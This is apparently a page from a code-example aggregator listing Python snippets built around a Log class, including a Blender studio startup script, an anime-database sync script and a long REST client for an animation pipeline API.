     self.world_url = "%s%sworld/" %(self.root_url, find_key(self.urls, "world"))
     self.session = requests.Session()
     self.log = Log()
Exemplo n.º 51
0
 def __init__(self, db):
     self.db = db
     self.api = api.AnimeNewsNetwork()
     self.log = Log.create_log(__name__)
Exemplo n.º 52
0
 def __init__(self, module):
     # Initialize the Logger object
     self.log = Log.create_log(module)
Exemplo n.º 53
0
"""
Tangent Animation blender startup script.  Sets parameters for the Studio
"""
__author__ = 'Jeff.Bell'

import bpy
from core.log import Log

# Initialize the log
log = Log()
log.info("Starting Tangent Animation pipeline configuration")

log.info("Setting some UI defaults")
bpy.data.use_autopack = False  # Turn off auto-packing of images, etc
bpy.context.user_preferences.filepaths.use_relative_paths = False  # Don't use relative paths
bpy.context.user_preferences.system.use_scripts_auto_execute = True  # Auto-execute python scripts
bpy.context.user_preferences.system.use_scripts_auto_execute = True  # Auto-execute python scripts
bpy.context.user_preferences.system.audio_sample_rate = "RATE_48000"  # Default audio sampling rate

# Toggle system console off to prevent user from accidentally closing Blender
log.info("Toggling the system console")
bpy.ops.wm.console_toggle()

# Auto load some addons at startup
addon_startup_list = [
    #"amaranth",
    "animation_motion_trail",
    "bone_selection_groups",
    "dynamic_parent",
    "mesh_summary_102",
    "meshlint",
Exemplo n.º 54
0
 def __init__(self, db):
     self.api = AniDB()
     self.db = db
     self.log = Log.create_log(__name__)
Exemplo n.º 55
0
 def init_logging(self, log):
     if log == 'db':  
         Log.create()
     else:
         Log.create('FILE', log)
Exemplo n.º 56
0
 def __init__(self, asset):
     self.asset = asset
     self.log = Log()
Exemplo n.º 57
0
 def __init__(self, db, api):
     self.log = Log.create_log(__name__)
     self.db = db
     self.api = api
Exemplo n.º 58
0
from db.mysql import Database


# Load the local cache into memory
AbstractAPI.CACHE["http://anidb.net/api/animetitles.xml.gz"] = open("cache/anidb.anime-titles.xml").read()
AbstractAPI.CACHE["http://www.animeseason.com/anime-list/"] = open("cache/animeseason.anime-list.html").read()
AbstractAPI.CACHE["http://myanimelist.net/malappinfo.php?u=coty9090&status=all&type=anime"] = \
    open("cache/mal.malappinfo.xml").read()
AbstractAPI.CACHE["http://www.animenewsnetwork.com/encyclopedia/reports.xml?id=155&nlist=all&type=anime"] = \
    open("cache/ann.reports.all.xml").read()

parser = argparse.ArgumentParser(description="Sync the animehunt database.")
#parser.add_argument('api', metavar='api', type=str, help="the api to use for the sync operation")
#parser.add_argument('--titles', dest='ops', type=str, const="all", default="all", help="a database sync operation")
#args = parser.parse_args()

log = Log.create_log("sync")
db = Database(**SETTINGS['db'])

api = {
    'as': api.AnimeSeason(),
    'mal': api.MyAnimeList(**SETTINGS['mal']),
    'anidb': api.AniDB(),
    'ann': api.AnimeNewsNetwork()}

ops = {
    'as': ops.AnimeSeasonOperations(db),
    'mal': ops.MALOperations(db, api['mal']),
    'anidb': ops.AniDBOperations(db),
    'ann': ops.AnimeNewsNetworkOperations(db)}
Exemplo n.º 59
0
    class __Connector:

        def __init__(self, root_url = settings.ROOT_URL):
            self.root_url = root_url
            self.urls = settings.URLS
            self.users_url = "%s%susers/" %(self.root_url, find_key(self.urls, "users"))
            self.preferences_url = "%s%spreferences/" %(self.root_url, find_key(self.urls, "preferences"))
            self.show_url = "%s%sshow/" %(self.root_url, find_key(self.urls, "show"))
            self.assets_url = "%s%sassets/" %(self.root_url, find_key(self.urls, "assets"))
            self.versions_url = "%s%sversions/" %(self.root_url, find_key(self.urls, "versions"))
            self.movies_url = "%s%smovies/" %(self.root_url, find_key(self.urls, "movies"))
            self.images_url = "%s%simages/" %(self.root_url, find_key(self.urls, "images"))
            self.companies_url = "%s%scompanies/" %(self.root_url, find_key(self.urls, "companies"))
            self.layer_url = "%s%slayer/" %(self.root_url, find_key(self.urls, "layer"))
            self.render_url = "%s%srender/" %(self.root_url, find_key(self.urls, "render"))
            self.renderfarm_url = "%s%srenderfarm/" %(self.root_url, find_key(self.urls, "renderfarm"))
            self.action_url = "%s%saction/" %(self.root_url, find_key(self.urls, "action"))
            self.camera_url = "%s%scamera/" %(self.root_url, find_key(self.urls, "camera"))
            self.group_url = "%s%sgroup/" %(self.root_url, find_key(self.urls, "group"))
            self.material_url = "%s%smaterial/" %(self.root_url, find_key(self.urls, "material"))
            self.scene_url = "%s%sscene/" %(self.root_url, find_key(self.urls, "scene"))
            self.world_url = "%s%sworld/" %(self.root_url, find_key(self.urls, "world"))
            self.session = requests.Session()
            self.log = Log()

        def __str__(self):
            return self.root_url

        #DJANGO APP: users
        def users(
                self,
                users_url = None,
            ):
            if not users_url:
                users_url = self.users_url
            query_strings = []
            if query_strings:
                users_url = "%s?%s" % (users_url, "&".join(query_strings))

            self.log.info("Getting: %s" %users_url)
            response = self.session.get(users_url)
            if response.status_code == 200:
                users = json.loads(response.text, object_hook = deserializers.decode_users)
                return users
            else:
                self.log.info(users_url)
                self.log.info(response.reason, response.status_code)
                self.log.info(response.text[0:100])
                return None

        #DJANGO APP: shows
        def preferences(
                self,
                preferences_url = None,
                res_render_x = None,
                res_render_y = None,
                res_playblast_x = None,
                res_playblast_y = None,
                timebase = None,
                codec = None,
                p_drive = None,
                p_drive_linux = None,
                p_project = None,
                p_render = None,
                p_review = None,
                p_comp = None,
                p_media = None,
                p_publish = None,
                p_sandbox = None,
                show = None,
            ):
            if not preferences_url:
                preferences_url = self.preferences_url
            query_strings = []
            if res_render_x: query_strings.append("res_render_x=%s" % res_render_x)
            if res_render_y: query_strings.append("res_render_y=%s" % res_render_y)
            if res_playblast_x: query_strings.append("res_playblast_x=%s" % res_playblast_x)
            if res_playblast_y: query_strings.append("res_playblast_y=%s" % res_playblast_y)
            if timebase: query_strings.append("timebase=%s" % timebase)
            if codec: query_strings.append("codec=%s" % codec)
            if p_drive: query_strings.append("p_drive=%s" % p_drive)
            if p_drive_linux: query_strings.append("p_drive_linux=%s" % p_drive_linux)
            if p_project: query_strings.append("p_project=%s" % p_project)
            if p_render: query_strings.append("p_render=%s" % p_render)
            if p_review: query_strings.append("p_review=%s" % p_review)
            if p_comp: query_strings.append("p_comp=%s" % p_comp)
            if p_media: query_strings.append("p_media=%s" % p_media)
            if p_publish: query_strings.append("p_publish=%s" % p_publish)
            if p_sandbox: query_strings.append("p_sandbox=%s" % p_sandbox)
            if show: query_strings.append("show=%s" % show)
            if query_strings:
                preferences_url = "%s?%s" % (preferences_url, "&".join(query_strings))

            self.log.info("Getting: %s" %preferences_url)
            response = self.session.get(preferences_url)
            if response.status_code == 200:
                preferences = json.loads(response.text, object_hook = deserializers.decode_preferences)
                return preferences
            else:
                self.log.info(preferences_url)
                self.log.info(response.reason, response.status_code)
                self.log.info(response.text[0:100])
                return None

        def show(
                self,
                show_url = None,
                code = None,
                name = None,
                created = None,
                modified = None,
                company = None,
                preferences = None,
                assets = None,
            ):
            if not show_url:
                show_url = self.show_url
            query_strings = []
            if code: query_strings.append("code=%s" % code)
            if name: query_strings.append("name=%s" % name)
            if created: query_strings.append("created=%s" % created)
            if modified: query_strings.append("modified=%s" % modified)
            if company: query_strings.append("company=%s" % company)
            if preferences: query_strings.append("preferences=%s" % preferences)
            if assets: query_strings.append("assets=%s" % assets)
            if query_strings:
                show_url = "%s?%s" % (show_url, "&".join(query_strings))

            self.log.info("Getting: %s" %show_url)
            response = self.session.get(show_url)
            if response.status_code == 200:
                show = json.loads(response.text, object_hook = deserializers.decode_show)
                return show
            else:
                self.log.info(show_url)
                self.log.info(response.reason, response.status_code)
                self.log.info(response.text[0:100])
                return None

        #DJANGO APP: assets
        def assets(
                self,
                assets_url = None,
                type_primary = None,
                type_secondary = None,
                type_tertiary = None,
                code = None,
                description = None,
                comment = None,
                start_frame = None,
                end_frame = None,
                data = None,
                stats_version = None,
                stats_verts = None,
                stats_faces = None,
                stats_tris = None,
                stats_objects = None,
                stats_lamps = None,
                stats_memory = None,
                created = None,
                modified = None,
                images = None,
                parents = None,
                layers = None,
                children = None,
                movies = None,
                renders = None,
                show = None,
                versions = None,
                groups = None,
            ):
            if not assets_url:
                assets_url = self.assets_url
            query_strings = []
            if type_primary: query_strings.append("type_primary=%s" % type_primary)
            if type_secondary: query_strings.append("type_secondary=%s" % type_secondary)
            if type_tertiary: query_strings.append("type_tertiary=%s" % type_tertiary)
            if code: query_strings.append("code=%s" % code)
            if description: query_strings.append("description=%s" % description)
            if comment: query_strings.append("comment=%s" % comment)
            if start_frame: query_strings.append("start_frame=%s" % start_frame)
            if end_frame: query_strings.append("end_frame=%s" % end_frame)
            if data: query_strings.append("data=%s" % data)
            if stats_version: query_strings.append("stats_version=%s" % stats_version)
            if stats_verts: query_strings.append("stats_verts=%s" % stats_verts)
            if stats_faces: query_strings.append("stats_faces=%s" % stats_faces)
            if stats_tris: query_strings.append("stats_tris=%s" % stats_tris)
            if stats_objects: query_strings.append("stats_objects=%s" % stats_objects)
            if stats_lamps: query_strings.append("stats_lamps=%s" % stats_lamps)
            if stats_memory: query_strings.append("stats_memory=%s" % stats_memory)
            if created: query_strings.append("created=%s" % created)
            if modified: query_strings.append("modified=%s" % modified)
            if images: query_strings.append("images=%s" % images)
            if parents: query_strings.append("parents=%s" % parents)
            if layers: query_strings.append("layers=%s" % layers)
            if children: query_strings.append("children=%s" % children)
            if movies: query_strings.append("movies=%s" % movies)
            if renders: query_strings.append("renders=%s" % renders)
            if show: query_strings.append("show=%s" % show)
            if versions: query_strings.append("versions=%s" % versions)
            if groups: query_strings.append("groups=%s" % groups)
            if query_strings:
                assets_url = "%s?%s" % (assets_url, "&".join(query_strings))

            self.log.info("Getting: %s" %assets_url)
            response = self.session.get(assets_url)
            if response.status_code == 200:
                assets = json.loads(response.text, object_hook = deserializers.decode_assets)
                return assets
            else:
                self.log.info(assets_url)
                self.log.info(response.reason, response.status_code)
                self.log.info(response.text[0:100])
                return None

        #DJANGO APP: versions
        def versions(
                self,
                versions_url = None,
                version = None,
                comment = None,
                created = None,
                asset = None,
            ):
            if not versions_url:
                versions_url = self.versions_url
            query_strings = []
            if version: query_strings.append("version=%s" % version)
            if comment: query_strings.append("comment=%s" % comment)
            if created: query_strings.append("created=%s" % created)
            if asset: query_strings.append("asset=%s" % asset)
            if query_strings:
                versions_url = "%s?%s" % (versions_url, "&".join(query_strings))

            self.log.info("Getting: %s" %versions_url)
            response = self.session.get(versions_url)
            if response.status_code == 200:
                versions = json.loads(response.text, object_hook = deserializers.decode_versions)
                return versions
            else:
                self.log.info(versions_url)
                self.log.info(response.reason, response.status_code)
                self.log.info(response.text[0:100])
                return None

        #DJANGO APP: movies
        def movies(
                self,
                movies_url = None,
                name = None,
                filepath = None,
                created = None,
                modified = None,
                asset = None,
            ):
            if not movies_url:
                movies_url = self.movies_url
            query_strings = []
            if name: query_strings.append("name=%s" % name)
            if filepath: query_strings.append("filepath=%s" % filepath)
            if created: query_strings.append("created=%s" % created)
            if modified: query_strings.append("modified=%s" % modified)
            if asset: query_strings.append("asset=%s" % asset)
            if query_strings:
                movies_url = "%s?%s" % (movies_url, "&".join(query_strings))

            self.log.info("Getting: %s" %movies_url)
            response = self.session.get(movies_url)
            if response.status_code == 200:
                movies = json.loads(response.text, object_hook = deserializers.decode_movies)
                return movies
            else:
                self.log.info(movies_url)
                self.log.info(response.reason, response.status_code)
                self.log.info(response.text[0:100])
                return None

        #DJANGO APP: images
        def images(
                self,
                images_url = None,
                name = None,
                filepath = None,
                created = None,
                modified = None,
                assets = None,
            ):
            if not images_url:
                images_url = self.images_url
            query_strings = []
            if name: query_strings.append("name=%s" % name)
            if filepath: query_strings.append("filepath=%s" % filepath)
            if created: query_strings.append("created=%s" % created)
            if modified: query_strings.append("modified=%s" % modified)
            if assets: query_strings.append("assets=%s" % assets)
            if query_strings:
                images_url = "%s?%s" % (images_url, "&".join(query_strings))

            self.log.info("Getting: %s" %images_url)
            response = self.session.get(images_url)
            if response.status_code == 200:
                images = json.loads(response.text, object_hook = deserializers.decode_images)
                return images
            else:
                self.log.info(images_url)
                self.log.info(response.reason, response.status_code)
                self.log.info(response.text[0:100])
                return None

        #DJANGO APP: companies
        def companies(
                self,
                companies_url = None,
                name = None,
                project_root = None,
                source_root = None,
                render_root = None,
                created = None,
                modified = None,
                shows = None,
            ):
            if not companies_url:
                companies_url = self.companies_url
            query_strings = []
            if name: query_strings.append("name=%s" % name)
            if project_root: query_strings.append("project_root=%s" % project_root)
            if source_root: query_strings.append("source_root=%s" % source_root)
            if render_root: query_strings.append("render_root=%s" % render_root)
            if created: query_strings.append("created=%s" % created)
            if modified: query_strings.append("modified=%s" % modified)
            if shows: query_strings.append("shows=%s" % shows)
            if query_strings:
                companies_url = "%s?%s" % (companies_url, "&".join(query_strings))

            self.log.info("Getting: %s" %companies_url)
            response = self.session.get(companies_url)
            if response.status_code == 200:
                companies = json.loads(response.text, object_hook = deserializers.decode_companies)
                return companies
            else:
                self.log.info(companies_url)
                self.log.info(response.reason, response.status_code)
                self.log.info(response.text[0:100])
                return None

        #DJANGO APP: renders
        def layer(
                self,
                layer_url = None,
                name = None,
                layer_type = None,
                start = None,
                end = None,
                created = None,
                modified = None,
                jobs = None,
                asset = None,
            ):
            if not layer_url:
                layer_url = self.layer_url
            query_strings = []
            if name: query_strings.append("name=%s" % name)
            if layer_type: query_strings.append("layer_type=%s" % layer_type)
            if start: query_strings.append("start=%s" % start)
            if end: query_strings.append("end=%s" % end)
            if created: query_strings.append("created=%s" % created)
            if modified: query_strings.append("modified=%s" % modified)
            if jobs: query_strings.append("jobs=%s" % jobs)
            if asset: query_strings.append("asset=%s" % asset)
            if query_strings:
                layer_url = "%s?%s" % (layer_url, "&".join(query_strings))

            self.log.info("Getting: %s" %layer_url)
            response = self.session.get(layer_url)
            if response.status_code == 200:
                layer = json.loads(response.text, object_hook = deserializers.decode_layer)
                return layer
            else:
                self.log.info(layer_url)
                self.log.info(response.reason, response.status_code)
                self.log.info(response.text[0:100])
                return None

        def render(
                self,
                render_url = None,
                start = None,
                end = None,
                created = None,
                modified = None,
                jobs = None,
                asset = None,
            ):
            if not render_url:
                render_url = self.render_url
            query_strings = []
            if start: query_strings.append("start=%s" % start)
            if end: query_strings.append("end=%s" % end)
            if created: query_strings.append("created=%s" % created)
            if modified: query_strings.append("modified=%s" % modified)
            if jobs: query_strings.append("jobs=%s" % jobs)
            if asset: query_strings.append("asset=%s" % asset)
            if query_strings:
                render_url = "%s?%s" % (render_url, "&".join(query_strings))

            self.log.info("Getting: %s" %render_url)
            response = self.session.get(render_url)
            if response.status_code == 200:
                render = json.loads(response.text, object_hook = deserializers.decode_render)
                return render
            else:
                self.log.info(render_url)
                self.log.info(response.reason, response.status_code)
                self.log.info(response.text[0:100])
                return None

        #DJANGO APP: renderfarm
        def renderfarm(
                self,
                renderfarm_url = None,
                job = None,
                duration = None,
                jobtask_total_time = None,
                jobtask_average_time = None,
                jobtask_total_time_norm = None,
                jobtask_average_time_norm = None,
                created = None,
                modified = None,
                render = None,
                layer = None,
            ):
            if not renderfarm_url:
                renderfarm_url = self.renderfarm_url
            query_strings = []
            if job: query_strings.append("job=%s" % job)
            if duration: query_strings.append("duration=%s" % duration)
            if jobtask_total_time: query_strings.append("jobtask_total_time=%s" % jobtask_total_time)
            if jobtask_average_time: query_strings.append("jobtask_average_time=%s" % jobtask_average_time)
            if jobtask_total_time_norm: query_strings.append("jobtask_total_time_norm=%s" % jobtask_total_time_norm)
            if jobtask_average_time_norm: query_strings.append("jobtask_average_time_norm=%s" % jobtask_average_time_norm)
            if created: query_strings.append("created=%s" % created)
            if modified: query_strings.append("modified=%s" % modified)
            if render: query_strings.append("render=%s" % render)
            if layer: query_strings.append("layer=%s" % layer)
            if query_strings:
                renderfarm_url = "%s?%s" % (renderfarm_url, "&".join(query_strings))

            self.log.info("Getting: %s" %renderfarm_url)
            response = self.session.get(renderfarm_url)
            if response.status_code == 200:
                renderfarm = json.loads(response.text, object_hook = deserializers.decode_renderfarm)
                return renderfarm
            else:
                self.log.info(renderfarm_url)
                self.log.info(response.reason, response.status_code)
                self.log.info(response.text[0:100])
                return None

        #DJANGO APP: nodes
        def action(
                self,
                action_url = None,
                name = None,
            ):
            if not action_url:
                action_url = self.action_url
            query_strings = []
            if name: query_strings.append("name=%s" % name)
            if query_strings:
                action_url = "%s?%s" % (action_url, "&".join(query_strings))

            self.log.info("Getting: %s" %action_url)
            response = self.session.get(action_url)
            if response.status_code == 200:
                action = json.loads(response.text, object_hook = deserializers.decode_action)
                return action
            else:
                self.log.info(action_url)
                self.log.info(response.reason, response.status_code)
                self.log.info(response.text[0:100])
                return None

        def camera(
                self,
                camera_url = None,
                name = None,
                clip_start = None,
                clip_end = None,
                camera_type = None,
                focal_length = None,
                sensor_width = None,
            ):
            if not camera_url:
                camera_url = self.camera_url
            query_strings = []
            if name: query_strings.append("name=%s" % name)
            if clip_start: query_strings.append("clip_start=%s" % clip_start)
            if clip_end: query_strings.append("clip_end=%s" % clip_end)
            if camera_type: query_strings.append("camera_type=%s" % camera_type)
            if focal_length: query_strings.append("focal_length=%s" % focal_length)
            if sensor_width: query_strings.append("sensor_width=%s" % sensor_width)
            if query_strings:
                camera_url = "%s?%s" % (camera_url, "&".join(query_strings))

            self.log.info("Getting: %s" %camera_url)
            response = self.session.get(camera_url)
            if response.status_code == 200:
                camera = json.loads(response.text, object_hook = deserializers.decode_camera)
                return camera
            else:
                self.log.info(camera_url)
                self.log.info(response.reason, response.status_code)
                self.log.info(response.text[0:100])
                return None

        def group(
                self,
                group_url = None,
                name = None,
                asset = None,
            ):
            if not group_url:
                group_url = self.group_url
            query_strings = []
            if name: query_strings.append("name=%s" % name)
            if asset: query_strings.append("asset=%s" % asset)
            if query_strings:
                group_url = "%s?%s" % (group_url, "&".join(query_strings))

            self.log.info("Getting: %s" %group_url)
            response = self.session.get(group_url)
            if response.status_code == 200:
                group = json.loads(response.text, object_hook = deserializers.decode_group)
                return group
            else:
                self.log.info(group_url)
                self.log.info(response.reason, response.status_code)
                self.log.info(response.text[0:100])
                return None

        def material(
                self,
                material_url = None,
                name = None,
            ):
            if not material_url:
                material_url = self.material_url
            query_strings = []
            if name: query_strings.append("name=%s" % name)
            if query_strings:
                material_url = "%s?%s" % (material_url, "&".join(query_strings))

            self.log.info("Getting: %s" %material_url)
            response = self.session.get(material_url)
            if response.status_code == 200:
                material = json.loads(response.text, object_hook = deserializers.decode_material)
                return material
            else:
                self.log.info(material_url)
                self.log.info(response.reason, response.status_code)
                self.log.info(response.text[0:100])
                return None

        def scene(
                self,
                scene_url = None,
                name = None,
                camera = None,
                world = None,
                frame_start = None,
                frame_end = None,
                frame_current = None,
            ):
            if not scene_url:
                scene_url = self.scene_url
            query_strings = []
            if name: query_strings.append("name=%s" % name)
            if camera: query_strings.append("camera=%s" % camera)
            if world: query_strings.append("world=%s" % world)
            if frame_start: query_strings.append("frame_start=%s" % frame_start)
            if frame_end: query_strings.append("frame_end=%s" % frame_end)
            if frame_current: query_strings.append("frame_current=%s" % frame_current)
            if query_strings:
                scene_url = "%s?%s" % (scene_url, "&".join(query_strings))

            self.log.info("Getting: %s" %scene_url)
            response = self.session.get(scene_url)
            if response.status_code == 200:
                scene = json.loads(response.text, object_hook = deserializers.decode_scene)
                return scene
            else:
                self.log.info(scene_url)
                self.log.info(response.reason, response.status_code)
                self.log.info(response.text[0:100])
                return None

        def world(
                self,
                world_url = None,
                name = None,
            ):
            if not world_url:
                world_url = self.world_url
            query_strings = []
            if name: query_strings.append("name=%s" % name)
            if query_strings:
                world_url = "%s?%s" % (world_url, "&".join(query_strings))

            self.log.info("Getting: %s" %world_url)
            response = self.session.get(world_url)
            if response.status_code == 200:
                world = json.loads(response.text, object_hook = deserializers.decode_world)
                return world
            else:
                self.log.info(world_url)
                self.log.info(response.reason, response.status_code)
                self.log.info(response.text[0:100])
                return None
Exemplo n.º 60
0
    def setUp(self):
        AbstractAPI.CACHE["http://anidb.net/api/animetitles.xml.gz"] = open("../cache/anidb.anime-titles.xml").read()

        self.api = AniDB()
        self.log = Log.create_log(__name__)